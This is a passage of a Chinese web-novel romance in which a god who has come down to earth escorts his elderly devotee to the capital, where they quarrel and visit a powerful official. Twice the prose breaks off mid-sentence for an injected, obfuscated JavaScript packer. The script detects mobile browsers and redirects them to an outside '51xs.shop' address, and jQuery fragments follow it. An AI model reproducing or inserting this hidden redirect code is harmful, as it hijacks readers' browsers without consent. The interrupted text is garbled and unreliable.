衡羿在天上忍了三十年,终于忍不住下来追妻的事已经传遍了。 没人相信他是给小妻子送终的。 大家都觉得他肯定会搞个大的,到时候把自己搞得身败名裂就老实了。 目前来看,衡羿的确是在往堕落的方向走。 只是他自己没有觉察到。 从他屡次不动声色地对贺平安起杀心,就已经有损一个神的公允了。 花祝年可能是太累的缘故,这次睡了三天才醒。 她浑身上下都是清清爽爽的,衡羿给她换上了新的衣服。 让她看起来像一个雍容华贵的夫人。 不过,他觉得,她穿什么都好看。 跟年龄无关,跟衣服也无关。 哪怕她穿家里的那些青灰色,灰蓝色的衣服,也是好看的。 他有些不想再让她见到贺平安了。 她本来就该是他的妻子,只是在贺平安身边寄养了一段时间,现在他出现在她面前了。 还回到贺平安身边做什么呢? 衡羿正这样想着的时候,头上忽然被对面的小信徒猛敲了一筷子。 他这才反应过来,两个人在吃晚饭。 花祝年边吃边说道:“老子跟你说话呢,你听到没有?” 衡羿心情复杂地看着小信徒。 说实话,听到她说“老子”这两个字,衡羿多少有些不开心。 这总是让他想到贺平安。 他在她身上看到了贺平安的影子。 这也是贺平安竭力想在她身上留下的,用了三十年才做到。 哪怕她用其他的词语,他都不会这样难受。 甚至她说一句:“你爹跟你说话呢,你倒是应一声啊?” 他都会觉得很开心。 衡羿从来没有嫌弃过小信徒的市侩、粗鲁和暴躁。 他唯独,不想她用这两个字。 因为,贺平安常用。 男人吃起醋来是很要命的,甚至无理取闹而不自知。 他现在和贺平安,仿佛身份调转了一样。 不许她身上出现另一个男人的痕迹,哪怕是语气相似,都不可以。 49. 他不会喜欢以前的我 终于,不准备再忍下去的衡羿,颇为认真地对小信徒说道:“以后,你不许再用那两个字。” 花祝年怎么也没想到,等来的是这么个答复。 她一头雾水地问道:“哪两个字?” 他瘪瘪囔囔地吐出了两个字:“老子。” “为什么?” “没有为什么,就是不许!” 其实,衡羿在天上还是观察得不太细致。 不是小信徒在学贺平安的语气,一直以来,是贺平安在学花祝年讲话。 至于花祝年是从哪儿学来的呢?自然是她的那些老姐妹儿那里。 村子里的女人,尤其是上了年纪的,闲来凑在一起,讲起话来,一个比一个粗,甚至一个比一个荤。 说几句老子怕什么的? 花祝年干笑了两声:“我要是非要讲呢?” 衡羿看着眼前这一大桌子菜:“那你就,别吃了。我只给不讲这两个字的人吃。街上都是讨食吃的乞丐,你若是再让我听到这两个字,我就把饭菜全给他们吃。” 花祝年心想,这后生怕是花他钱,给他花急眼了。 在这里找她的事儿呢。 她暂时管不了那么多,既没答应他,也没拒绝他。 只是顾着一个劲儿地埋头吃饭。 躺了三天,可把她给饿坏了。 她要把这些天的都给吃回来,毕竟今后吃不吃得到,还得两说呢。 年轻的时候她不受嗟来之食,年老了,她只会说,多来点儿。 衡羿看小信徒不再理自己,一个劲儿地只顾着吃东西。 心想她大概是在生闷气。 不过没关系,等他们上路的时候,他再买个小玩意儿哄哄她就好了。 他知道,她是很容易哄好的。 之前,她刚生了孩子不久,贺平安就跟她为给孩子起名吵了一架。 贺平安起得很俗气,花祝年不喜欢,他觉得贱名好养活,她不肯。 当时可能是心情不好的缘故,气得她呜呜直哭。 吵完之后,贺平安从镇子的集市上,买了个拨浪鼓,就把她给哄好了。 当时衡羿觉得不解。 可是后来,他想她大概就是那种给台阶就下的人。 毕竟,又不爱,只是搭伙养孩子。 衡羿见小信徒吃得很快,一大桌子菜眼看着,就要下去大半了。 他关心地问她:“要不要再来些?” 花祝年摆了摆手,也不跟他讲话,只是埋头狂吃。 等她吃完后,店小二将餐盘撤走,上了热茶。 她又靠在椅子上喝了五杯。 刚才吃得咸了。 衡羿担心她吃撑,刚想带她下去走走,就见小信徒搬起个椅子,就朝着他砸了过来。 他躲闪不及,被砸到地上。 花祝年摁着他连打带骂道:“我说了,你有病就喝药,少在我面前发神经!” “说老子怎么了?老子就说,老子老子老子老子!” 衡羿委屈巴巴地仰头看着她道:“你不答应,怎么还吃我买的饭?” “你管老子吃不吃。老子吃你的,喝你的,是你的荣幸。毕竟,老子给你介绍媳妇儿了。现在这世道,有哪个人像老子这么好心,给你一个外乡人介绍媳妇儿?” 衡羿坐在角落里,抱着自己的头说道:“你介绍的,我不喜欢。你还是别介绍了。” “你俩成不成的,先放一边。咱就说老子费心费力地给你介绍这么一遭,不,两遭,你是不是得给介绍费?老子问你要过没有,你摸着良心说!” 衡羿无奈地和小信徒吵架:“你问我要什么介绍费?你都让她上我两次了,我没去告官就是好的。” “告官?你还敢告官?也不嫌丢人,一个大男人,被一个小女孩儿上两次。” 他及时地纠正她道:“没、没上成。” “没上成你报什么官?闲得你蛋疼。” 衡羿听完,蓦地老脸一红。 “老子告诉你,你少用那点臭钱,在老子面前耀武扬威的。” 衡羿忍不住说道:“贺大叔,不也是在用钱束缚你吗?他动不动就用断家用,断将军的香烛费来威胁你,你不是也受他的约束吗?怎么这个招儿,他能使,我就不能使?” 况且,他还是她的前夫呢。 花祝年开启了对衡羿更为暴力的打骂。 “你使什么?他是我男人,再说,又不是因为钱,我才听他的话。” 衡羿不解地问她:“那你,为什么每次,他一说到钱上,你就不吭声了?” “我总得给他点儿存在的价值吧。再者说,我也承认他的价值啊。夫妻之间过日子,不就商量着来吗?我听他的,关你屁事?被他束缚,又关你屁事?” 衡羿痛苦道:“这当然不关我的事。可是,如果被你的将军听到了,他肯定不会喜欢。” 花祝年一巴掌将衡羿扇倒在地:“放你娘的屁!老子变成什么样,他都不会喜欢我。年轻温和有礼的时候,他就没喜欢过我。老了老了,说几句脏话,就能断了他的喜欢了?老子明白告诉你,这都不可能的事,因为他从来就没喜欢过。断无可断!” “他不会喜欢以前的我,更不会喜欢现在的我。我变成什么样子,都跟他没一文钱的关系。哪里是因为我说几句老子,他就不喜欢了,他是一直都不喜欢我。” 花祝年发泄一通后,终于觉得心里舒服多了。 被贺平安用钱来牵制就算了,怎么到了后生这里,还要被他牵制? 她才不干! 她欠贺平安的,又不欠这后生的。 他在她面前充什么大爷? 刚刚她一直吃东西,就是为了吃饱喝足,有力气揍他。 对于这种不知好歹的后生,真是揍他一顿就老实了。 衡羿呆愣地坐在墙角,他看着打累了的花祝年,一屁股坐到地上,粗喘着气。 汗液沿着她颈间的皱纹流了下来。 他拿出手帕,想要帮她擦去,却被她一把拍开。 “别凑过来,热!” 衡羿只好将手帕递给她,花祝年胡乱地在颈间摸了一把,就将手帕塞回到自己的口袋里。 “这帕子我要了,想来擦过我的汗,你也是不会再收回去。” 衡羿故意逗她道:“我不嫌弃,你还给我吧。这帕子,对我很重要。” 花祝年踹了衡羿的大腿一脚:“别逼我抽你!” 他被她踹笑了,一边揉自己的腿,一边无奈地哄她:“我不要了,你收着吧。” 花祝年现在不能做太激烈的动作,不然体力跟不上。 她的身体是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13235189|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天比一天虚了。 揍了后生一顿后,他还没怎么样,她先坐不住,直接躺去了地上。 衡羿着急地爬过去,看她的情况。 发现她并没有晕过去,眼睛还睁着,脸上不知道是泪还是汗。 他用袖子替她擦了擦:“花大娘,既然你都知道,小泥人儿从来都不喜欢你,为什么还要供奉他?” 花祝年望着雕花的梁道:“他不喜欢我,我就不能供奉了?” “他都不喜欢你,自然在今后,也不会以夫君的名义来接你。可见,到头来,不过是镜花水月一场。” 她冷冷地说道:“你别觉得我现在躺地上,就揍不了你。再惹我,我就是拼了这条命,也得再揍你一顿。” 衡羿不知道从哪里摸出了把扇子,在一旁轻柔地帮她扇着风。 “我只是觉得,不值得。” 花祝年笑道:“你懂什么?供奉就是供奉,哪管什么值不值得?就算他不喜欢我,我也还是希望他封神的。你花大娘,从来不公报私仇。人家不喜欢我,又不是什么罪过。” 衡羿忏悔道:“不,是罪过。” “是个球。他没错!从始至终,都是我自己在暗暗喜欢而已。人家可能临死前,都想不起来我是谁。” 的确是这样的。衡羿当时并没能想起来,是看她在刑场上捡他的断肢,才渐渐了解他们之间的羁绊的。 没想到,只有那么一点点,却让她记了那么那么久。 就在衡羿难过的时候,又听花祝年说道:“其实,哪怕是我供奉了他三十年,他也是不喜欢我的。” 这也是事实。 衡羿看到过小信徒所做的那些关于薛尘的梦。 他在她的梦里,也是不喜欢她的。 或者说,她从未奢望过他的喜欢。梦里的他,总是那么平和温柔,却又带着淡淡地疏离。 小信徒是那样无望地爱着他,真让人心疼。 可是,下一秒就听她说道:“其实,我也没表露过对他的喜欢。” 衡羿震惊道:“你们都成亲了,这还不算表露喜欢?” “当然不算了。跟他的尸体成亲,只是表露我的偏执罢了,哪有半分喜欢?再者,我在梦里,也没喊过他夫君。我不过是,一个长久希望他能封神的路人。” 他对她问道:“那他,也认可这种关系吗?” “认可啊。有什么好不认可的?他本来也没必要对我的情感负责。我喜欢他,但他是自由的。这不是很好吗?况且,我对他的喜欢,都是三十年前的事情了。跟你贺大叔成亲后,就没再喜欢他了。” 衡羿心里是掩饰不住的失落和无奈。 他忍不住对她引诱道:“我觉得,你也可以继续喜欢小泥人儿的。” 花祝年对衡羿招了招手:“过来。” 虽然他被她打了好多次,可每次她对他招手,他都会忍不住凑过去。 果然,这次又挨打了。 花祝年可劲儿地照着他身上给了两拳,然后又把自己给累着了。 “你少在这里帮着你贺大叔试探我。别像他那么疑神疑鬼的,他总觉得我婚后对不起他。可我唯一对不起他的,也就是经常供奉将军,其他的再没什么了。那段感情,我已经忘了。年少的悸动,早已经被生活的琐碎冲淡。我现在,是真的半点儿都不喜欢他了。” 50. 您来了真好 花祝年不只一次地跟贺平安解释,甚至是跟这后生解释,自己已经埋藏了对将军的心意,有在好好过现在的日子。 可是他们就是谁也不信。 好像就认定她是出于男女之情,才会日夜供奉将军一样。 衡羿侧身伏在地上,用扇子替她扇着风。 他才不信她的话。 如果她已经不喜欢他了,怎么会去到哪里,都不忘带着小泥人儿呢? 他是她的信仰和支柱不假,可是如果不喜欢,怎么会希望在死后,要他以夫君的名义来接她? 她才不是不喜欢他。 而是,已经嫁了人,不能再喜欢他。 衡羿忍不住问她:“花大娘,如果,如果有来世,你还会不会喜欢薛尘?” 花祝年思索道:“来世嘛,我不想做人了。这乱世不知道要持续多久,我再投生成人,还是要苦累一辈子。” “那你想做什么?” “我什么也不想做。做鸟儿,要被人猎,做鱼儿,要被人捕,做狸奴,要被人吸,做小狗,要被链锁……天下万灵,就没有自由自在的,总要有个凭借依靠,才能勉强生存下去。这操蛋的日子,我再也不想过了。所以,做孤魂野鬼最好!” 衡羿内心蓦地一痛。 她怎么会有这样的想法? 竟然,想要去做孤魂野鬼……生前被人欺辱就算了,死后也要这样孤单。 一般人,可能不太理解孤魂野鬼的含义。 可他和花祝年,都是知晓的。 当初,她就是担心他变成孤魂野鬼,才听信江湖术士的话,日夜供奉了他三十年,搜集功德要助他成仙。 他心痛地想,如今他的小信徒,为什么死后只能做孤魂野鬼呢? 因为没有家人为她立碑,没有人给她收尸,没有后代给她烧纸钱…… 可她又不想去投生,所以魂魄只能不断地游荡,见到鬼差后躲躲藏藏。 孤魂野鬼是人在死后,极为凄惨的选择。 就跟街上的乞丐一样,甚至比乞丐还要惨。 而鬼也是有欲望的。大鬼欺负小鬼,男鬼欺辱女鬼,跟人间的乱世也没什么区别。 所有失去秩序的地方,都是如此。 衡羿有种,小信徒一直在堕落的感觉。 不是说嫁给贺平安是堕落,做孤魂野鬼是堕落。 而是,她在与命运的抗争中,一直在堕落,堕落到了更坏的地方。 连自身都难保,却还保留着内心所坚持的东西。 那种坚持,很难说清楚具体是什么。视周围的情况而定,但至少她的心,总是跟世俗相悖的。 并且在他看来,相较于幸福美满的人生,她的坚持或者说固执,并不值得。 衡羿总是会在诸多选择中,选取对自己有利的那个,如果是他的话,他当初会嫁给县令之子。 才不管他们是不是在挟权欺人。总好过,跟贺平安过这煎熬的一生,死后也不得安宁。 可她偏偏不肯。 如细细柔柔的水流一般,不去高山大川,偏流向贫瘠农田。 死后也不愿再受轮回约束,宁肯做孤魂野鬼。 她对着那个小泥人儿,许了那么多的愿望。 没有一件,是关于她死后去处的。 从始至终她都不是为了,让他封神后,然后借借他的光,当笔生意来做。 而是,她就只是送他封神,用一生送这一路,之后,情意就到此为止了。 她不会再回头,而他连望她一眼都不能。 死后,也不想跟他联络。 乍一看,很让人想不通,可是仔细想来,他封神之后,对她而言,才是真正意义上的缘分断了。 因为她对他唯一的念想,也没了。 年轻的时候,没想过攀附官宦子弟,死后自然也不会想让封神的他,为她做些什么。 她跟薛尘之间的感情,一直都是由她来做主导的。 她想送他封神,就送她封神,想把他带在身边三十年,就带了三十年,可等她死后,想不要他,也就不要他了。 怪不得贺平安跟个绝望的怨夫一样,天天为了得到她的爱发疯。 衡羿现在就已经很想发大疯了。 就算是再好的脾气,谁能经得住被这么对待? 她又不是不喜欢他,只是顶级的自持力,再加上超乎常人的清醒,才选择放弃他。 他最恨她的固执。 那种明知后果,却偏要去做的固执。 上天把每个人都搓圆捏扁,唯独她没有被塑造成上天想要的样子。 她的人生,因为不肯妥协,所以被逐级而降。 这是,不肯屈服和将就的代价。 如果当初她能听安排的话,现在的日子也不会惨成这样。 衡羿自然是不肯让她做孤魂野鬼的。 她在人间受苦就算了,在阴间也受苦,那成什么了? 而且,他知道她性子很犟很固执,一旦决定了的事,就不会更改。 到时候,真跑去做孤魂野鬼也说不定。 他的小信徒,总给他一种感觉。 天道的规则,是天道的,人间的规则,是人间的。阴界的规则,是阴界的。 这些跟她都没有什么关系。就算强加在她头上,她也不会遵守。 只有她自己设定的规则,才是她自己肯去遵守的。 最终解释权,在她这里。 可无数的经验证明,要么这样的人跟天道融为一体,逼迫天道修改规则,要么就沦落到世世孤苦的地步。 衡羿总想着帮她寻条出路,不然他总不能追到阴间去陪着她。 此番下来,已经是有所逾矩了。 “花大娘,我觉得做孤魂野鬼很辛苦。如果有来世的话,你去修道好不好呀?一世修不成,就世世修,慢慢积累,总有一世能修成的。我看从古至今,就有不少人得道成仙的。这样也算逃脱了人间的桎梏,你说是不是?” 花祝年躺在地上,看着衡羿给自己扇风的扇子。 扇子上有两条锦鲤,一条金色,一条红色。 很是好看。 她是个很容易对人伸手的人:“你这扇子不错,我的了。” 说完,也不管他同不同意,直接抢了过来。 衡羿见扇子被抢,也没了给她扇风的理由,顺势躺在她身旁。 花祝年玩着他的扇子说道:“我才不修那个。这世间的信仰,儒释道,哪个也别想俘获我。就算信,我也是自创一派。让别人来信我的,而不是我去信别人。” 这点衡羿是相信的。 他知道,她一向很执迷不悟。曾经为了供奉小泥人儿,甚至让别人跟着她一起信,到处宣传拜小泥人儿的好处。 带着她的小泥人儿,在乡野间跟佛道抢占市场,最后还真忽悠了不少乡亲。 毕竟,儒释道三家的经典,都太过深奥,对于乡野间的庄稼人来说,还是不容易看懂的。 但花祝年宣传小泥人儿,只要一句:“信他,啥事儿都能办!” “供奉啥都行,不挑。一碗小米,一碗热汤,都是心意,心诚就行。无条件无门槛,你信你就来。” “腰酸腿疼下地没劲儿,就来拜一拜,内心烦闷郁郁寡欢,也来拜一拜。拜不了吃亏,拜不了上当,只要诚心拜,包万事顺遂!” 衡羿是在天上,看过小信徒,为了他封神,到处给他攒功德的。 别人腰酸腿疼的,拜完他后,她就赠人家活络油。有那郁郁寡欢的,拜完他后,她拉着人家唠家常,找出根源后,帮着人家去骂大街,骂完心情自然就舒畅了。 打着唯心的名义,做着唯物的事。为了给他攒功德,真是无所不用其极。 与其说,他是那些人的神明,倒不如说她更像一些。 她的那些老姐妹儿,有什么事儿,都找她。 有老姐妹儿的儿媳妇一气之下,丢下孩子回了娘家,都是花祝年带着馒头花卷给哄回来的。 哄回来之后,还把老姐妹儿的儿子,喊到田野里让贺平安暴揍了一顿。 说要是再欺负媳妇儿,就让贺平安活埋了人家。 吓得老姐妹儿的儿子,屁滚尿流地回家了。 自此什么都听媳妇儿的,再也没跟媳妇儿吵过架。 老姐妹儿带着一筐鸡蛋来还愿,花祝年只留下了三个,说是心意到了就行。 她要的,一直是精神方面,诚挚的信仰和供奉。 并不是物质。况且,本就是乱世,谁家又有多少吃的呢? 听江湖术士说,只有纯净虔诚的功德,才拥有感天动地的神力,让久留世间魂灵成神。 她在人间做尽了一切调解纷争的努力。 然后,全都归功到他的身上。 每到这种时候,衡羿都会对着那面虚空镜,温和又无奈地傻笑。 他知道凡人痴愚又迷妄,但没想到会到这种地步。 小信徒是他乱转百千万世,所遇到的最有意思的女孩子。 她暴躁时可爱,骗人时也可爱,执着时可爱,总之,做什么都很可爱。 可爱到,她的每个举动,他看了都能笑出声。 就连她打他时,他每次都是低着头在笑。 后来,衡羿还是死缠烂打地,跟着自己的小信徒上路了。 他也有自己的目的。 衡羿花高价买了一幅去京城的假地图。 把本来十几天的路程,硬生生地拖了一个多月还没到。 花祝年一路被衡羿投喂得胖了十斤。 她本来体态就因为生孩子后没恢复好,变得十分臃肿,现在看起来更臃肿了。 不过,之前是病态苍白的肿,现在看着倒是像个富态的老妇人。 中途,花祝年还因为水土不服,肠胃不和,病倒了一次。 本来衡羿能拖更久的,他是想拖到贺平安被斩。 可是,看她病成那样,还不肯多休息,一心要想着去京城找人帮忙,为贺平安讨来一线生机,就忍不住心软了。 还是带她走上了去往京城的路,没再带着她绕来绕去。 到京城后,花祝年伸手问衡羿要银两。 “花大娘,我帮你买就是了。” “胡闹!我买衣服,你怎么帮我买?” “你这些天的衣服,不都是我买的?我看你穿着挺合适的。” 衡羿出于对小信徒的歉疚,总想补偿欠她的三十年时光。 什么都是挑着最好的买给她。 他当然知道,这远远不够,不过,能补偿一点是一点吧。 他不想欠她太多,到时候又忘不了她。 花祝年邦邦地给了他两拳:“问你要个钱,哪儿那么多废话?” 衡羿被打后,老老实实地给了她一锭银子。 他不能给她太多钱,怕她逃离他,自己去找宋礼遇。 当初在天上天天骂贺平安,到头来自己还是跟贺平安一样,在钱财方面牵制她。 花祝年带着衡羿去了一家二手成衣店。 挑了两件最破的买了下来,价钱自然也便宜。 衡羿心疼道:“花大娘,我钱多的是,你不用替我省着。” 花祝年抬手又要打他,可他早早地躲去了一旁。 衡羿理虽直,气不壮地说道:“劝你不要省细,还有错了?” “你又不知道我要做什么,就别管那么多。” 说完,还将衡羿这一路买给她的衣物,全都卖给了二手成衣店。 甚至,把衡羿身上的也给扒了下来,一起卖了。 衡羿拿着卖衣服换来的微薄银两,跟着自己的小信徒出了店门。 花祝年带衡羿去到了郊外,找了一棵比较有记忆点的树,让他把身上所有的银子都埋进去。 “我们这次是去求人的,总不能压过了人家的气势,穿得那么好做什么?” 衡羿一边埋银子,一边小声嘟囔:“那也不用穿乞丐服吧。” “穿乞丐服,安全。” 衡羿埋好银子后,忍不住对她说道:“花大娘,你可能不懂这些官场上的人。如果你让人家觉得无利可图,那对方是不可能帮你救人的。人情又值几个钱呢?也值得人家替你跑一趟?我们应该穿贵气点儿进去,至少撑撑场面,莫要让人小看了才是。” 他虽然不想让她救贺平安,可也不忍心她见到宋礼遇后受欺辱。 京城里都是些见人下菜碟的主儿,如果不表现得颇有家资,那可能连对方的面儿都见不到。 花祝年用水肿得不成样子的脚,往衡羿埋钱的地方用力踩了踩:“我是不懂官场,但我懂宋礼遇。那可是我的老相好呢。” 蹲在地上衡羿别扭道:“什么你的老相好,你哪儿来那么多老相好?他不是你拒绝过的人吗?现在用得到他了,就成了你的老相好了?你还真是,一天一个样子。” 说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13260206|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完,还一把扒拉开她的脚,往埋钱的地方,猛地锤了几下。 看起来是在捶地,实际上也是在捶地。 他能怎么办? 气死自己,都舍不得对她发泄情绪。 况且,他又不是贺平安,连生气的资格都没有。 他对她而言,只不过是一个人傻钱多的后生,还是能随便指配给别的女孩子的那种。 埋好银子后,就能去找宋礼遇了。 宋礼遇是个很有心眼子的人,他没有告诉她具体的官职和住址,却告诉她了一个商铺。 让她日后若是遇到了麻烦事,就去那里找他。 因为官职和住址,都是随时能变动的。 可依靠他的势力所经营的商铺,却会稳稳地立在那里。 哪怕这三十年,江山易了数不清的主,那家商铺仍牢牢地屹立在那里。 当然,宋礼遇这么做,除去跟花祝年有个稳定的联系之处外,也是想借机让她悔悟。 如果当初她跟了他,那她家也不会家道中落,就算中落也会东山再起,甚至会比那家铺子还要稳固。 她也不会颠沛流离了大半辈子,到头来还要求他。 花祝年是如何通透的人,自然是知晓宋礼遇意图的。 他这个人跟他爹一样,一向心思深,办一件事,说一句话,且让人揣摩呢。 两个人根据铺子老板所给的地址,找到了宋礼遇家的后门。 他如今的确身居高位。 从后门中进出的都是达官贵人,显得她和衡羿两个乞丐模样的人,异常窘迫。 好在有管家来接,不然不知道要在门口站多久。 衡羿在进门前,被花祝年狠地锤了一把后背。 她小声地提醒他:“你看你直愣愣地,哪儿像来求人的?” 衡羿也是憋了一肚子火:“那我要怎么做?这本来也不是我求人啊。我根本就不想让你来这里找他!” 花祝年猛踩了衡羿一脚,痛得他立即弯下腰。 她按着他的背:“就是这样,得弯得下腰,还要显出几分不自在来。不能比主人还随意,明白吗?” 衡羿生气地“嗯”了一声。 生气也不忘回应,真是句句有回应。 花祝年观察了这后生一路,也一直在不断地试探他,发现他一直都任劳任怨的。 她觉得,他的确称得上是绒绒的良配。 等回去把各家的男人都救出来后,她就帮他们成婚! 成就一桩美满姻缘的功德,她要全都虔诚地供奉给将军。 衡羿走着走着,发现自己的小信徒在笑。 他以为她是要见宋礼遇,才会这样笑,忍不住问她:“你在奸笑什么?笑起来跟朝中为非作歹的大奸臣一样。” 花祝年撞了他一下,将衡羿撞了个踉跄:“管好你自己!少来教训我。” 宋礼遇的宅院很大,七进七出的院子,比花祝年当年家里的还要大很多。 走了很久,才到了里院。 院子里,有个小女孩儿在荡秋千,看年纪在十六岁左右,给人感觉挺天真烂漫的。 小女孩儿笑意盈盈地看着他们,跟他们打招呼,一点也不怕生。 花祝年以为这是宋礼遇的小女儿,结果听管家介绍道:“这是我们老爷新娶的第三十六房妾室。” 她愣了一下,寒意从心底袭来。如果不是绒绒被她护住了,恐怕也会和这个女孩子一样吧。 她如今都已经五十岁了,宋礼遇比她还要大几岁,都是个糟老头子了! 怎么忍心糟蹋小女孩儿? 花祝年这个暴躁的脾气,忍不住冲进去想抽他这个老禽兽。 可是,又想到自己是来求人的,咬着后槽牙,硬生生地忍了下去。 花祝年在外面的神色,全被屋内的宋礼遇,扒着窗户缝儿看在了眼里。 这正是他想看到的场景,当初她看不上他,如今怎么样,还不是为了他争风吃醋! 是的。 宋礼遇这个在官场上整男人一绝的人,根本不懂女人。 或者说,根本不懂像花祝年这般的女人。 他将她眼底的愤怒,误认为是对妾室的嫉妒。 甚至,他先入为主地认为,此次她来找他,定是日子过不下去了,想要求他收留她。 这一天,他已经等了三十年。 宋礼遇如今已经不普通了,他是朝中举重若轻的权臣,是百官之首,是翻手为云,覆手为雨的人,他觉得自己有足够的底气自信。 自信到,觉得是个女人,就必须仰慕于他。 包括自己情窦初开之时,遇到的那个狠狠拒绝他的女人。 他已经不是那个,当初在集市上被她冷冷讥讽,却不敢言语,只敢在她走后,默默地盯着她裙摆看的傻小子了! 那时候,他连抬头的勇气都没有。 因为,她说的是对的。 可就算是对的又怎么样?看看如今两人的对比,她都混成了什么样子! 这世间的事,从来就是不分对错的。 她再对,在饥寒交迫之时,也换不来一碗热米汤,一件暖衣裳。 可是这些,他这个错的人,都能给她。 管家恭敬地对花祝年说道:“花小姐,老爷请你进去。” 此话一出,把花祝年吓了一跳。 “啊,咱俩这年纪差不多,而且我嫁人了,你喊我贺夫人就好。” 管家笑了笑:“老爷是这么吩咐的,我们这些下人都跟着老爷喊。花小姐,您来了真好,老爷好久没笑过了。” 身后的衡羿蓦地冷笑一声,对着小信徒阴阳怪气道:“毕竟是老相好,人家怎么喊,你就怎么听呗,是不是啊,花大娘?” 真是快给他气死了。 刚弄掉一个山野糙汉贺平安,怎么又来一个老年权臣? 他就说当初不该让她来,现在倒好,他们在这儿谈黄昏恋呢? 那个宋礼遇对着他的小信徒,让人喊什么花小姐…… 一把年纪了,还不老实。 脑壳给他锤爆! 衡羿的性情本来挺稳定的,是连天道都承认的温和良善。 可自从下来后,也不知道怎么了,越来越像那个狠戾粗暴的贺平安。 他都怀疑是不是小信徒的身上有什么蛊? 怎么每个陪伴她身侧的男人,都无可避免地患得患失,莫名其妙地生这个闲气! 51. 我就想知道 不知道怎么会产生这样的情绪。明明,他不想和小信徒有什么的。 一个下来收尸的神,能对即将入土的凡人,产生什么感情呢? 就算不论这些,他们之间也是不可能的。 他和她实在是没什么缘分。 硬说的话,也就是互相帮对方收尸的交情。 他的前世,她帮他收尸,她的现世,他给她送终。 如此,便两不相欠了吧。 虽然他的确不想她再回到贺平安身边,但,但那并不是出于前夫的考量。 只是因为不想她再回去受人折磨。 无关情爱。 他不喜欢宋礼遇这个老混蛋,这样喊自己的小信徒,也不是出于对她的占有欲。 而是,而是知道老混蛋心怀不轨。 换做世间的任何一个女子遭遇这种事,他都会对老混蛋有厌恶感。 小信徒不应该在他这里如此独特。 况且,她也从未想过,要跟他怎么样。 他们之间的前缘,好像只要她一离世,就彻底断得干干净净了。 毕竟,是她在强求,不是他。她死后,对他的念想也就消散了。 他就能回到天上,继续原来的生活。 这是他一直希望的。 若说舍不得,自然是有的。 怎么说,她也供奉了他三十年,就算是铁石心肠的人也会感动。 但感动归感动,这辈子已经过完了。缘尽就是缘尽,谁也不能再过多地牵扯些什么。 况且,这三十年他在天上,也一直内心不安。 因为她在人间是这样痴愚地拜祭他。 他只能逃避着她的情感,也不知道拿什么去还。 她的离世,或许对两个人来说都是解脱。 该了结的,终于能了结了。 他万万不能做出那种,强行将小信徒,留在自己身边的事。 这在仙界,从未有人做过。他哪能开这个先例? 只有魔才干得出来。 他不会坠魔的。 小信徒就跟他曾经为了修道,所丢弃的七情六欲一样。 已经丢弃的东西,绝不会再捡回来。 人也是一样。 丢了就是丢了,没有再续前缘一说。 尽管衡羿在院子里,给自己做了半天的心理建设。 终于说服了自己的内心,此番下来,为何会跟贺平安一样暴躁发疯。 可是听到管家只让小信徒进去,还是在院子里不管不顾地大闹了起来。 一秒道心破碎。 “这就是你们的待客之道?我们明明是两个人一起来的,怎么只让花大娘一个人进去?” 花祝年突然觉得好丢脸,这深宅大院的,哪儿哪儿都这么安静,他在这里吼什么吼? 她像教训儿子一样,对他训斥道:“让你等,你就等。吼这么大声,像什么样子?” “为什么不能吼?凭什么不让我进去,谁不是大老远赶来的?再者说,你自己进去,能做什么?” “我们来了这么久,他一直闭门不开,非要让人等!花大娘,我看他不是什么好东西,这人不见了,我们走!” 衡羿在这里胡乱地发泄一通后,就牵起花祝年的手,要带着她往外走。 他并不是出于私情,只是,只是感觉不到尊重! 对,就是对方不尊重导致的。 才不是因为他舍不得,让她独自去见一个老混蛋。 花祝年这有正事儿要做,哪能跟着他一起胡闹。 她一把甩开他的手:“你还能不能消停了,走这么大老远,不就是来见贵人的么?要走你自己走,拉着我干嘛?” “他什么时候成了你的贵人?你到底看不看得清楚,你的贵人到底是谁?是谁一路陪着你来到这里的?又是谁一路护着你,免你受到灾民的惊扰?” 他们这一路上,看到的并不是繁华景象。 饿死的,穷死的,耍狠被人弄死的,街上到处都是。 说是满目疮痍,也并不夸张。 有些地方受了灾,是直接见人就抢的。 花祝年也很同情那些人,可是她得去京城。 泥菩萨过江,自身都难保。 那些灾民,如果住她家附近的话,她应该会给他们宣传她的信仰,谁信将军,她就给他们饭吃,这样应该能拉来不少信徒。 衡羿想到,她连那种时候,都在想给他攒供奉,就觉得她真是个奇女子。 有这份儿毅力,干什么干不成呢?别说他早已经回归神位了,就算没回归,以魂灵的姿态存于人世间,恐怕有她这个小信徒在,也会被她硬生生地抬去封神。 在路上的时候,两个人还不小心住过黑店,不留活口只留银钱的那种。 衡羿趁她睡熟后,施法将她转移走的。 她一向大大咧咧,睡醒后,都没发现换了家客栈。 只是一个劲儿地催着他赶路。 这一路,都是他在护着她。 他也不是在邀功,只是若真的要说得上贵人,那怎么看,都是他更像一些吧。 衡羿真的会很在意这些讲话的细节,他才不管那是不是小信徒,对老混蛋的恭维之词。 花祝年觉得衡羿真是随时随地大小疯。 她对他暗暗威胁道:“别逼我在最开心的时候扇你!” “你就是扇我,我说的也是事实!我一路护送你到京城,好吃好喝地伺候你,不肯让你受一点儿委屈,不是让你去见一个糟老头子的。” 刚说完,脸上就重重地挨了一巴掌。 花祝年揪着衡羿的衣领,将他拎到一旁小声道:“我来京城不就是见他的吗?你是被鬼附身了,还是哪根筋搭错了?现在对我来说,是最为关键的时刻。人我马上就能见到了,你别在这里给我瞎添乱。” 